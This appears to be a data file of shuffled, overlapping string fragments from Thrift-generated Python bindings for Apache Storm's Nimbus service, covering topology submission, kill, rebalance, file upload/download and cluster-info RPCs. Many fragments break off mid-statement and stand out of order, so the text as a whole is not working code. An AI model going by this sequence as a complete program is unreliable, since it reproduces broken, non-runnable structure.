"TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_deactivate(self, seqid, iprot, oprot):", "args.topology = topology args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "return def activate(self, name): \"\"\" Parameters: - name \"\"\" self.send_activate(name)", "raise result.ite return def killTopology(self, name): \"\"\" Parameters: - name", "result\"); def getNimbusConf(self, ): self.send_getNimbusConf() return self.recv_getNimbusConf() def send_getNimbusConf(self, ):", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_args')", "iprot.skip(ftype) elif fid == 2: if ftype == TType.STRUCT: self.ite", "TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return else: self._processMap[name](self, seqid, iprot,", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_args') if", "beginFileDownload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success", "# 2 (3, TType.STRING, 'jsonConf', None, None, ), # 3", "id \"\"\" pass def getTopologyConf(self, id): \"\"\" Parameters: - id", "in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s'", "== TType.STRUCT: self.e = NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype)", "return not (self == other) class getNimbusConf_args: thrift_spec = (", "process_uploadChunk(self, seqid, iprot, oprot): args = uploadChunk_args() args.read(iprot) iprot.readMessageEnd() result", "oprot.writeMessageBegin(\"finishFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileDownload(self, seqid, iprot,", "== other) class finishFileUpload_args: \"\"\" Attributes: - location \"\"\" thrift_spec", "ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if", "== TType.STRING: self.uploadedJarLocation = iprot.readString(); else: iprot.skip(ftype) elif fid ==", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_args') if", "== 1: if ftype == TType.STRING: self.id = iprot.readString(); else:", "): pass def uploadChunk(self, location, chunk): \"\"\" Parameters: - location", "self._iprot.readMessageEnd() raise x result = beginFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success", "self.thrift_spec))) return oprot.writeStructBegin('deactivate_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING,", "self.location is not None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() if", "- jsonConf - topology - options \"\"\" thrift_spec = (", "- id \"\"\" self.send_getTopology(id) return self.recv_getTopology() def send_getTopology(self, id): self._oprot.writeMessageBegin('getTopology',", "submitTopology_result: \"\"\" Attributes: - e - ite \"\"\" thrift_spec =", "- topology - options \"\"\" self.send_submitTopologyWithOpts(name, uploadedJarLocation, jsonConf, topology, options)", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_result') if self.e", "None, ), # 4 (5, TType.STRUCT, 'options', (SubmitOptions, SubmitOptions.thrift_spec), None,", "is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__,", "1) oprot.writeString(self.id) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "return oprot.writeStructBegin('rebalance_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1)", "\"\"\" Attributes: - success \"\"\" thrift_spec = ( (0, TType.STRING,", "handler): self._handler = handler self._processMap = {} self._processMap[\"submitTopology\"] = Processor.process_submitTopology", "\"\"\" pass def getNimbusConf(self, ): pass def getClusterInfo(self, ): pass", "'.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ ==", "return self.recv_getTopology() def send_getTopology(self, id): self._oprot.writeMessageBegin('getTopology', TMessageType.CALL, self._seqid) args =", "if result.e is not None: raise result.e return def rebalance(self,", "= downloadChunk_args() args.read(iprot) iprot.readMessageEnd() result = downloadChunk_result() result.success = self._handler.downloadChunk(args.id)", "not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.uploadedJarLocation is", "file \"\"\" thrift_spec = ( None, # 0 (1, TType.STRING,", "oprot.writeStructBegin('getUserTopology_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot)", "= ite oprot.writeMessageBegin(\"submitTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopology(self,", "3 (4, TType.STRUCT, 'topology', (StormTopology, StormTopology.thrift_spec), None, ), # 4", "\"\"\" pass def beginFileDownload(self, file): \"\"\" Parameters: - file \"\"\"", "rebalance_result: \"\"\" Attributes: - e - ite \"\"\" thrift_spec =", "Parameters: - id \"\"\" self.send_getTopologyConf(id) return self.recv_getTopologyConf() def send_getTopologyConf(self, id):", "result.e = e oprot.writeMessageBegin(\"getTopologyInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "TType.STRING, 1) oprot.writeString(self.id) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "pass def getNimbusConf(self, ): pass def getClusterInfo(self, ): pass def", "\"getTopologyConf failed: unknown result\"); def getTopology(self, id): \"\"\" Parameters: -", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_result') if self.e is not None: oprot.writeFieldBegin('e',", "result.e if result.ite is not None: raise result.ite return def", "= killTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise", "Parameters: - location \"\"\" self.send_finishFileUpload(location) self.recv_finishFileUpload() def send_finishFileUpload(self, location): self._oprot.writeMessageBegin('finishFileUpload',", "self.send_uploadChunk(location, chunk) self.recv_uploadChunk() def send_uploadChunk(self, location, chunk): self._oprot.writeMessageBegin('uploadChunk', TMessageType.CALL, self._seqid)", "file \"\"\" pass def downloadChunk(self, id): \"\"\" Parameters: - id", "return self.recv_beginFileDownload() def send_beginFileDownload(self, file): self._oprot.writeMessageBegin('beginFileDownload', TMessageType.CALL, self._seqid) args =", "(1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None, ), # 1 (2,", "location, chunk): \"\"\" Parameters: - location - chunk \"\"\" pass", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = deactivate_result() result.read(self._iprot)", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_result') if self.e is not", "), # 2 ) def __init__(self, location=None, chunk=None,): self.location =", "TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() if self.chunk is not None: oprot.writeFieldBegin('chunk',", "in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self,", "0: if ftype == TType.STRING: self.success = iprot.readString(); else: iprot.skip(ftype)", "__init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None,): self.name = name self.uploadedJarLocation =", "== 2: if ftype == TType.STRUCT: self.ite = InvalidTopologyException() self.ite.read(iprot)", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_result') if self.success is not None:", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopology(self, seqid, iprot, oprot): args", "other) class deactivate_args: \"\"\" Attributes: - name \"\"\" thrift_spec =", "- uploadedJarLocation - jsonConf - topology - options \"\"\" self.send_submitTopologyWithOpts(name,", "self.e = NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif fid == 2:", "seqid, iprot, oprot): args = downloadChunk_args() args.read(iprot) iprot.readMessageEnd() result =", "def killTopology(self, name): \"\"\" Parameters: - name \"\"\" pass def", "args.read(iprot) iprot.readMessageEnd() result = beginFileDownload_result() result.success = self._handler.beginFileDownload(args.file) oprot.writeMessageBegin(\"beginFileDownload\", TMessageType.REPLY,", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_args') if self.id is not None: oprot.writeFieldBegin('id',", "TType.STRUCT, 2) self.ite.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd()", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_args') if self.name is not", "\"\"\" Parameters: - id \"\"\" pass def getTopologyConf(self, id): \"\"\"", "= Processor.process_getTopologyInfo self._processMap[\"getTopologyConf\"] = Processor.process_getTopologyConf self._processMap[\"getTopology\"] = Processor.process_getTopology self._processMap[\"getUserTopology\"] =", "# 1 ) def __init__(self, location=None,): self.location = location def", "oprot.writeStructBegin('getTopologyInfo_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id)", "(self == other) class getClusterInfo_args: thrift_spec = ( ) def", "return def killTopologyWithOpts(self, name, options): \"\"\" Parameters: - name -", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_finishFileUpload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "seqid, iprot, oprot): args = getTopology_args() args.read(iprot) iprot.readMessageEnd() result =", "uploadedJarLocation - jsonConf - topology \"\"\" self.send_submitTopology(name, uploadedJarLocation, jsonConf, topology)", "result = deactivate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None:", "TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyConf failed: unknown result\"); def getTopology(self, id): \"\"\" Parameters:", "not (self == other) class downloadChunk_result: \"\"\" Attributes: - success", "( (0, TType.STRING, 'success', None, None, ), # 0 (1,", "def process_getNimbusConf(self, seqid, iprot, oprot): args = getNimbusConf_args() args.read(iprot) iprot.readMessageEnd()", "= getNimbusConf_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getNimbusConf(self, ): (fname, mtype,", "def getClusterInfo(self, ): pass def getTopologyInfo(self, id): \"\"\" Parameters: -", "'name', None, None, ), # 1 (2, TType.STRING, 'uploadedJarLocation', None,", "\"\"\" Attributes: - success - e \"\"\" thrift_spec = (", "self._oprot.trans.flush() def recv_getClusterInfo(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "\"\"\" Parameters: - name - options \"\"\" pass def activate(self,", "is not None: raise result.e return def killTopologyWithOpts(self, name, options):", "iprot, oprot): args = downloadChunk_args() args.read(iprot) iprot.readMessageEnd() result = downloadChunk_result()", "ite: result.ite = ite oprot.writeMessageBegin(\"submitTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "pass class Client(Iface): def __init__(self, iprot, oprot=None): self._iprot = self._oprot", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopology(self, seqid, iprot, oprot):", "TType.STRING, 3) oprot.writeString(self.jsonConf) oprot.writeFieldEnd() if self.topology is not None: oprot.writeFieldBegin('topology',", "# 2 ) def __init__(self, e=None, ite=None,): self.e = e", "- name \"\"\" thrift_spec = ( None, # 0 (1,", "\"\"\" thrift_spec = ( None, # 0 (1, TType.STRING, 'name',", "def send_submitTopology(self, name, uploadedJarLocation, jsonConf, topology): self._oprot.writeMessageBegin('submitTopology', TMessageType.CALL, self._seqid) args", "unknown result\"); def getUserTopology(self, id): \"\"\" Parameters: - id \"\"\"", "YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING", "args = activate_args() args.read(iprot) iprot.readMessageEnd() result = activate_result() try: self._handler.activate(args.name)", "id \"\"\" pass class Client(Iface): def __init__(self, iprot, oprot=None): self._iprot", "self.e = e self.ite = ite def read(self, iprot): if", "def __init__(self, name=None, options=None,): self.name = name self.options = options", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_result') oprot.writeFieldStop() oprot.writeStructEnd()", "def __ne__(self, other): return not (self == other) class finishFileUpload_result:", "self.recv_deactivate() def send_deactivate(self, name): self._oprot.writeMessageBegin('deactivate', TMessageType.CALL, self._seqid) args = deactivate_args()", "- topology - options \"\"\" thrift_spec = ( None, #", "Attributes: - name \"\"\" thrift_spec = ( None, # 0", "deactivate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_deactivate(self, ):", "def send_getTopologyInfo(self, id): self._oprot.writeMessageBegin('getTopologyInfo', TMessageType.CALL, self._seqid) args = getTopologyInfo_args() args.id", "thrift.transport import TTransport from thrift.protocol import TBinaryProtocol, TProtocol try: from", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_result')", "oprot.writeMessageBegin(\"beginFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_uploadChunk(self, seqid, iprot,", "topology=None,): self.name = name self.uploadedJarLocation = uploadedJarLocation self.jsonConf = jsonConf", "= name args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_rebalance(self,", "self._oprot.writeMessageBegin('deactivate', TMessageType.CALL, self._seqid) args = deactivate_args() args.name = name args.write(self._oprot)", "class killTopologyWithOpts_result: \"\"\" Attributes: - e \"\"\" thrift_spec = (", "oprot.writeString(self.chunk) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyConf failed: unknown result\"); def getTopology(self, id):", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_args') if self.file is not None: oprot.writeFieldBegin('file',", "self._oprot.trans.flush() def recv_deactivate(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise result.e if", "self._oprot.writeMessageBegin('getUserTopology', TMessageType.CALL, self._seqid) args = getUserTopology_args() args.id = id args.write(self._oprot)", "try: from thrift.protocol import fastbinary except: fastbinary = None class", "oprot.writeStructBegin('beginFileUpload_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success)", "if result.e is not None: raise result.e return def activate(self,", "# 0 (1, TType.STRING, 'location', None, None, ), # 1", "name, uploadedJarLocation, jsonConf, topology): self._oprot.writeMessageBegin('submitTopology', TMessageType.CALL, self._seqid) args = submitTopology_args()", "process_beginFileDownload(self, seqid, iprot, oprot): args = beginFileDownload_args() args.read(iprot) iprot.readMessageEnd() result", "oprot.writeMessageBegin(\"getTopologyConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopology(self, seqid, iprot,", "ftype == TType.STOP: break if fid == 1: if ftype", "self._iprot.readMessageEnd() raise x result = uploadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() return def", "iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot):", "Attributes: - e \"\"\" thrift_spec = ( None, # 0", "oprot.writeStructBegin('activate_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name)", "StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) elif fid == 5: if ftype", "2: if ftype == TType.STRUCT: self.options = RebalanceOptions() self.options.read(iprot) else:", "TType.STRING: self.chunk = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "2) oprot.writeString(self.chunk) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "TException, TApplicationException from ttypes import * from thrift.Thrift import TProcessor", "def process_getTopologyInfo(self, seqid, iprot, oprot): args = getTopologyInfo_args() args.read(iprot) iprot.readMessageEnd()", "= submitTopology_args() args.read(iprot) iprot.readMessageEnd() result = submitTopology_result() try: self._handler.submitTopology(args.name, args.uploadedJarLocation,", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_result')", "iprot, oprot=None): self._iprot = self._oprot = iprot if oprot is", "def __init__(self, id=None,): self.id = id def read(self, iprot): if", "5: if ftype == TType.STRUCT: self.options = SubmitOptions() self.options.read(iprot) else:", "pass def killTopologyWithOpts(self, name, options): \"\"\" Parameters: - name -", "def recv_getNimbusConf(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "recv_downloadChunk(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "None, ), # 1 (2, TType.STRUCT, 'ite', (InvalidTopologyException, InvalidTopologyException.thrift_spec), None,", "(self == other) class downloadChunk_args: \"\"\" Attributes: - id \"\"\"", "ftype == TType.STRUCT: self.success = ClusterSummary() self.success.read(iprot) else: iprot.skip(ftype) else:", "iprot.readString(); else: iprot.skip(ftype) elif fid == 1: if ftype ==", "self.ite is not None: oprot.writeFieldBegin('ite', TType.STRUCT, 2) self.ite.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop()", "downloadChunk_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_downloadChunk(self, ):", "for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ',", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopology(self, seqid, iprot, oprot): args =", "getClusterInfo_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getClusterInfo(self, ): (fname, mtype, rseqid)", "= iprot.readString(); else: iprot.skip(ftype) elif fid == 3: if ftype", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_args') if self.id is not", "TType.STRING: self.location = iprot.readString(); else: iprot.skip(ftype) elif fid == 2:", "self.file = file def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "string: py # from thrift.Thrift import TType, TMessageType, TException, TApplicationException", "- id \"\"\" self.send_downloadChunk(id) return self.recv_downloadChunk() def send_downloadChunk(self, id): self._oprot.writeMessageBegin('downloadChunk',", "UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE", "jsonConf - topology \"\"\" pass def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf,", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_args') oprot.writeFieldStop() oprot.writeStructEnd()", "result = activate_result() try: self._handler.activate(args.name) except NotAliveException as e: result.e", "if oprot is not None: self._oprot = oprot self._seqid =", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = rebalance_result() result.read(self._iprot) self._iprot.readMessageEnd()", "not in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function", "= oprot self._seqid = 0 def submitTopology(self, name, uploadedJarLocation, jsonConf,", "activate_args() args.read(iprot) iprot.readMessageEnd() result = activate_result() try: self._handler.activate(args.name) except NotAliveException", "e oprot.writeMessageBegin(\"deactivate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_rebalance(self, seqid,", "getClusterInfo_result() result.success = self._handler.getClusterInfo() oprot.writeMessageBegin(\"getClusterInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "0) oprot.writeString(self.success) oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT,", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_args')", "try: self._handler.activate(args.name) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"activate\",", "\"\"\" Parameters: - id \"\"\" self.send_getTopology(id) return self.recv_getTopology() def send_getTopology(self,", "TType.STRING, 'file', None, None, ), # 1 ) def __init__(self,", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_result') if self.success is", "result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileDownload failed: unknown result\"); def downloadChunk(self, id):", "iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec", "submitTopology_result() try: self._handler.submitTopology(args.name, args.uploadedJarLocation, args.jsonConf, args.topology) except AlreadyAliveException as e:", "if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileUpload", "process_getClusterInfo(self, seqid, iprot, oprot): args = getClusterInfo_args() args.read(iprot) iprot.readMessageEnd() result", "ite oprot.writeMessageBegin(\"submitTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_submitTopologyWithOpts(self, seqid,", "args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_deactivate(self, ): (fname,", "( None, # 0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None,", "name args.uploadedJarLocation = uploadedJarLocation args.jsonConf = jsonConf args.topology = topology", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_result')", "other): return not (self == other) class killTopologyWithOpts_args: \"\"\" Attributes:", "(self == other) class activate_args: \"\"\" Attributes: - name \"\"\"", "self.send_submitTopologyWithOpts(name, uploadedJarLocation, jsonConf, topology, options) self.recv_submitTopologyWithOpts() def send_submitTopologyWithOpts(self, name, uploadedJarLocation,", "def process_activate(self, seqid, iprot, oprot): args = activate_args() args.read(iprot) iprot.readMessageEnd()", "self._oprot.trans.flush() def recv_getTopologyConf(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_result') if self.success is not None:", "__ne__(self, other): return not (self == other) class uploadChunk_result: thrift_spec", "__init__(self, location=None,): self.location = location def read(self, iprot): if iprot.__class__", "def getTopology(self, id): \"\"\" Parameters: - id \"\"\" self.send_getTopology(id) return", "self._processMap[\"uploadChunk\"] = Processor.process_uploadChunk self._processMap[\"finishFileUpload\"] = Processor.process_finishFileUpload self._processMap[\"beginFileDownload\"] = Processor.process_beginFileDownload self._processMap[\"downloadChunk\"]", "args = submitTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = submitTopologyWithOpts_result() try: self._handler.submitTopologyWithOpts(args.name,", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_result') if self.e is not None: oprot.writeFieldBegin('e',", "self._iprot.readMessageEnd() raise x result = getTopologyConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success", "is not None: oprot.writeFieldBegin('jsonConf', TType.STRING, 3) oprot.writeString(self.jsonConf) oprot.writeFieldEnd() if self.topology", "self._oprot.writeMessageBegin('getTopologyConf', TMessageType.CALL, self._seqid) args = getTopologyConf_args() args.id = id args.write(self._oprot)", "# 3 (4, TType.STRUCT, 'topology', (StormTopology, StormTopology.thrift_spec), None, ), #", "self.options = RebalanceOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopology(self, ): (fname, mtype, rseqid) =", "ftype == TType.STOP: break else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self,", "return not (self == other) class getClusterInfo_args: thrift_spec = (", "self._handler.killTopologyWithOpts(args.name, args.options) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"killTopologyWithOpts\",", "None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "recv_deactivate(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "oprot.writeStructBegin('beginFileDownload_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success)", "\"getClusterInfo failed: unknown result\"); def getTopologyInfo(self, id): \"\"\" Parameters: -", "None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileUpload failed: unknown result\"); def", "2: if ftype == TType.STRUCT: self.options = KillOptions() self.options.read(iprot) else:", "return self.recv_getClusterInfo() def send_getClusterInfo(self, ): self._oprot.writeMessageBegin('getClusterInfo', TMessageType.CALL, self._seqid) args =", "oprot.writeFieldBegin('file', TType.STRING, 1) oprot.writeString(self.file) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "self._processMap[\"getTopologyInfo\"] = Processor.process_getTopologyInfo self._processMap[\"getTopologyConf\"] = Processor.process_getTopologyConf self._processMap[\"getTopology\"] = Processor.process_getTopology self._processMap[\"getUserTopology\"]", "process_beginFileUpload(self, seqid, iprot, oprot): args = beginFileUpload_args() args.read(iprot) iprot.readMessageEnd() result", "None, None, ), # 1 ) def __init__(self, file=None,): self.file", "TopologyInfo.thrift_spec), None, ), # 0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec),", "self.topology = topology self.options = options def read(self, iprot): if", "self._seqid) args = getNimbusConf_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getNimbusConf(self, ):", "self.recv_getNimbusConf() def send_getNimbusConf(self, ): self._oprot.writeMessageBegin('getNimbusConf', TMessageType.CALL, self._seqid) args = getNimbusConf_args()", "self.e = NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "), # 1 (2, TType.STRING, 'chunk', None, None, ), #", "other) class getUserTopology_result: \"\"\" Attributes: - success - e \"\"\"", "oprot.writeString(self.uploadedJarLocation) oprot.writeFieldEnd() if self.jsonConf is not None: oprot.writeFieldBegin('jsonConf', TType.STRING, 3)", "\"\"\" pass def activate(self, name): \"\"\" Parameters: - name \"\"\"", "recv_getTopologyInfo(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "Processor.process_activate self._processMap[\"deactivate\"] = Processor.process_deactivate self._processMap[\"rebalance\"] = Processor.process_rebalance self._processMap[\"beginFileUpload\"] = Processor.process_beginFileUpload", "TType.STRUCT, 'ite', (InvalidTopologyException, InvalidTopologyException.thrift_spec), None, ), # 2 ) def", "failed: unknown result\"); def uploadChunk(self, location, chunk): \"\"\" Parameters: -", "class getNimbusConf_args: thrift_spec = ( ) def read(self, iprot): if", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_finishFileUpload(self, ): (fname, mtype, rseqid) =", "- name - options \"\"\" self.send_killTopologyWithOpts(name, options) self.recv_killTopologyWithOpts() def send_killTopologyWithOpts(self,", "try: result.success = self._handler.getTopologyConf(args.id) except NotAliveException as e: result.e =", "options=None,): self.name = name self.uploadedJarLocation = uploadedJarLocation self.jsonConf = jsonConf", "class getTopology_result: \"\"\" Attributes: - success - e \"\"\" thrift_spec", "= e oprot.writeMessageBegin(\"killTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopologyWithOpts(self,", "thrift_spec = ( None, # 0 (1, TType.STRING, 'name', None,", "iprot, oprot): args = getTopologyConf_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyConf_result()", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_result') if self.success", "), # 1 (2, TType.STRUCT, 'ite', (InvalidTopologyException, InvalidTopologyException.thrift_spec), None, ),", "return oprot.writeStructBegin('killTopology_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1)", "= e oprot.writeMessageBegin(\"getUserTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() # HELPER", "topology) self.recv_submitTopology() def send_submitTopology(self, name, uploadedJarLocation, jsonConf, topology): self._oprot.writeMessageBegin('submitTopology', TMessageType.CALL,", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_args')", "TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyInfo failed: unknown result\"); def getTopologyConf(self, id): \"\"\" Parameters:", "return oprot.writeStructBegin('getClusterInfo_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopologyConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "if ftype == 